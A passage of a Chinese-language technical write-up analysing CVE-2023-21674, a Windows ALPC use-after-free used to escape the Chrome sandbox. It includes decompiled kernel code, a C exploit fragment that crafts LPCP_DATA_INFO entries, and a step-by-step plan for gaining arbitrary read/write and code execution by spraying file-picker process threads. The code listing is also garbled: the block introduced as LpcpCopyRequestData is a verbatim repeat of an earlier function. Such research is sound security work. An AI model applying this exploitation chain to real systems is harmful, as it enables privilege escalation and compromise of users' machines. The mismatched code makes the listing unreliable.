__int64 a4,
ACCESS_MASK acess_mask,
__int128 *a6)
{
...
v14 = AlpcpLookupMessage((_ALPC_PORT *)DmaAdapter, Source2.MessageId, Source2.CallbackId, a4, &alpc_message);
if ( v14 < 0 ) { /* ERROR */ }
else
{
...
waiting_thread = alpc_message->WaitingThread;
if ( waiting_thread && RtlCompareMemory(&waiting_thread->Cid, &Source2.8, 0x10ui64) == 16 )
{
process = (_EPROCESS *)waiting_thread->Tcb.Process;
ObfReferenceObjectWithTag(process, 0x63706C41u); // Reference
AlpcpUnlockMessage((ULONG_PTR)alpc_message);
v14 = PsOpenProcess(&v26, acess_mask, &v30, (__int128 *)((char *)&Source2 + 8), 0, prev_mode);
ObfDereferenceObjectWithTag(process, 0x63706C41u); // Dereference
...
}
// NtAlpcQueryInformationMessage --> AlpcpQueryTokenModifiedIdMessage -> AlpcpGetEffectiveTokenMessage
__int64 __fastcall AlpcpGetEffectiveTokenMessage(_ALPC_PORT *port_obj, _KALPC_MESSAGE *alpc_message, _QWORD *a3, __int64 a4, _BYTE *a5)
{
...
// Check Port == Server, Message Owner == Client
// 2 ==> Server, 4 ==> Client
owner_port = alpc_message->OwnerPort;
if ( (port_obj->u1.State & 6) != 2 || !owner_port || (owner_port->u1.State & 6) != 4 )
return 0xC0000022i64;
...
// Reference WaitingThread
waiting_thread = alpc_message->WaitingThread;
if ( !waiting_thread )
return 0xC0000022i64;
// Do Something with WaitingThread
result = SeCreateClientSecurityEx(waiting_thread, (__int64)&owner_port->PortAttributes.SecurityQos, 0, a4);
}
然而,NtAlpcOpenSenderThread
和 NtAlpcOpenSenderProcess
并不是很好的利用对象,因为两者都只是引用和取消引用悬空指针所指向的内存区域。另外,AlpcpGetEffectiveTokenMessage
需要一个服务器和客户端连接,由于其完整性不受信任,因此在 Chrome 渲染器进程中不可用。
因此我们重点关注LpcpCopyRequestData
函数,如下所示。
// NtAlpcQueryInformationMessage --> AlpcpQueryTokenModifiedIdMessage -> AlpcpGetEffectiveTokenMessage
__int64 __fastcall AlpcpGetEffectiveTokenMessage(_ALPC_PORT *port_obj, _KALPC_MESSAGE *alpc_message, _QWORD *a3, __int64 a4, _BYTE *a5)
{
...
// Check Port == Server, Message Owner == Client
// 2 ==> Server, 4 ==> Client
owner_port = alpc_message->OwnerPort;
if ( (port_obj->u1.State & 6) != 2 || !owner_port || (owner_port->u1.State & 6) != 4 )
return 0xC0000022i64;
...
// Reference WaitingThread
waiting_thread = alpc_message->WaitingThread;
if ( !waiting_thread )
return 0xC0000022i64;
// Do Something with WaitingThread
result = SeCreateClientSecurityEx(waiting_thread, (__int64)&owner_port->PortAttributes.SecurityQos, 0, a4);
}
如果 ALPC 消息的 DataInfoOffset
被设置,那么就会从消息中检索表示为 LPCP_DATA_INFO
结构的数据信息对象。
typedef struct _LPCP_DATA_INFO
{
ULONG NumberOfEntries;
struct
{
PVOID BaseAddress;
ULONG DataLength;
} Entries[1];
} LPCP_DATA_INFO, *PLPCP_DATA_INFO;
我们可以轻松地在消息中设置一个如下的 LPCP_DATA_INFO
结构。
void SetupDataInfo(ULONG_PTR addr) {
...
RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
pmSend.u1.s1.DataLength = MSG_LEN;
pmSend.u1.s1.TotalLength = pmSend.u1.s1.DataLength + sizeof(pmSend);
pmSend.MessageId = messageid;
pmSend.CallbackId = callbackid;
pmSend.u2.s2.DataInfoOffset = 0x30;
lpMem = CreateMsgMem(&pmSend, MSG_LEN, (LPVOID)longstr);
PLPCP_DATA_INFO datainfo = (PLPCP_DATA_INFO)((ULONG_PTR)lpMem + pmSend.u2.s2.DataInfoOffset);
datainfo->NumberOfEntries = NumOfEntries; // CNT
for (int i = 0; i < NumOfEntries; i++) {
datainfo->Entries[i].BaseAddress = (PVOID)addrs[i]; // Address
datainfo->Entries[i].DataLength = (ULONG)0x1000; // Size
}
pwfdw->AlpcSendMessage = (PPORT_MESSAGE)lpMem;
pwfdw->AlpcSendMessagePort = hPort;
pwfdw->AlpcSendMessageFlags = (1 << 0x11); // ALPC_MSGFLG_SYNC_REQUEST
pwfdw->Flags = 0x1;
ULONG outlen = 0;
NtWaitForWorkViaWorkerFactory(hWorkerFactory, piocomp, 1, &outlen, pwfdw);
}
最后,LPCP_DATA_INFO
结构中的地址通过 MmCopyVirtualMemory
进行读取。由于目标进程地址是从 waiting_thread
获取的,而这是一个已释放的指针,我们可以将其设置为任意值。
然而,在没有另一个信息泄露漏洞的情况下构建一个虚假结构并不容易。因此,我们可以利用一个高特权进程的线程,而不是使用伪造的 _EPROCESS
。如果高特权进程的线程被分配到由悬空指针指向的相同内存区域中,我们就可以在该进程中实现任意读/写原语。
为了扩散高权限进程的线程,我们使用了 showOpenFilePicker();当调用该 API 时,Chrome 会创建一个中等完整性的新进程。此外,文件选择器进程在创建时会生成许多线程,这使其适合进行利用。
通过利用文件选择器进程上的任意读/写原语,我们最终可以以中等完整性执行任意代码。
更详细的信息,包括 PoC 和利用代码,请参阅Fermium-252: The Cyber Threat Intelligence Database。
7 结论
本文对 CVE-2023–21674进行了详细 分析,该漏洞已在1-day full chain 中进行演示。下一篇文章将介绍 Windows LPE,CVE-2023–29360,该漏洞在 2023 年 Pwn2Own 温哥华比赛中被利用。
8 参考链接
- https://github.com/hd3s5aa/CVE-2023-21674
- https://github.com/hd3s5aa/CVE-2023-21674
- https://recon.cx/2008/a/thomas_garnier/LPC-ALPC-paper.pdf
- https://github.com/DownWithUp/ALPC-Example
- https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2023-21674